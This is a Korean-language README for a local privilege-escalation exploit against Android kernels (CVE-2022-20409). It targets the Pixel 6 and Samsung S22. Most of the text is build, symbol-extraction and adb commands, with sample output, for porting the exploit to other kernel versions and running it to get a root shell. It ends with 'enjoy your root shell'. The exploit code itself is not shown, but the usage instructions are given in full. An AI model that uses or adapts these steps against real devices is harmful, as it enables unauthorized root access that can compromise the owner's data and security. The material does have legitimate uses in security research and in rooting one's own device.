
안드로이드 커널 익스플로잇 (CVE-2022-20409)
Android NDK가 설치되어 있는지 확인하세요. pixel 6의 경우,
make pixel
samsung s22의 경우,
make s22
익스플로잇은 다양한 커널 버전을 지원하도록 작성되었습니다. 다른 커널로 포팅하려면 대상 커널의 심볼 파일을 추출해야 합니다.
커널은 휴대폰의 팩토리 이미지에서 추출할 수 있습니다. Pixels의 경우, 여기에서 팩토리 이미지를 다운로드하세요.
이미지를 다운로드한 후, 이미지를 추출하여 boot.img 파일을 얻습니다. boot.img는 tools/unpack_bootimg.py를 사용하여 추출할 수 있습니다.
python3 tools/unpack_bootimg.py --boot_img boot.img --out out
커널은 out/kernel에서 확인할 수 있습니다.
이제 커널 이미지를 사용하여 vmlinux-to-elf로 커널 심볼을 추출할 수 있습니다.
./tools/vmlinux-to-elf/kallsyms-finder out/kernel > pixel.kallsyms
추출된 심볼의 Version string이 휴대폰의 커널 버전과 일치하는지 확인해야 합니다. 휴대폰의 커널 버전은 adb를 통해 확인할 수 있습니다. 예를 들어,
sh-3.2$ adb shell
oriole:/ $ uname -a
Linux localhost 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022 aarch64
다음과 일치합니다.
[+] Version string: Linux version 5.10.66-android12-9-00007-g66c74c58ab38-ab8262750 (build-user@build-host) (Android (7284624, based on r416183b) clang version 12.0.5 (https://android.googlesource.com/toolchain/llvm-project c935d99d7cf2016289302412d708641d52d2f7ee), LLD 12.0.5 (/buildbot/src/android/llvm-toolchain/out/llvm-project/lld c935d99d7cf2016289302412d708641d52d2f7ee)) #1 SMP PREEMPT Mon Mar 7 01:27:36 UTC 2022
이제 익스플로잇과 심볼 파일을 휴대폰에 푸시하고 다음 명령어로 루팅할 수 있습니다.
make
adb push exp pixel.kallsyms /data/local/tmp
adb shell
cd /data/local/tmp
./exp pixel.kallsyms
루트 셸을 즐기세요 :)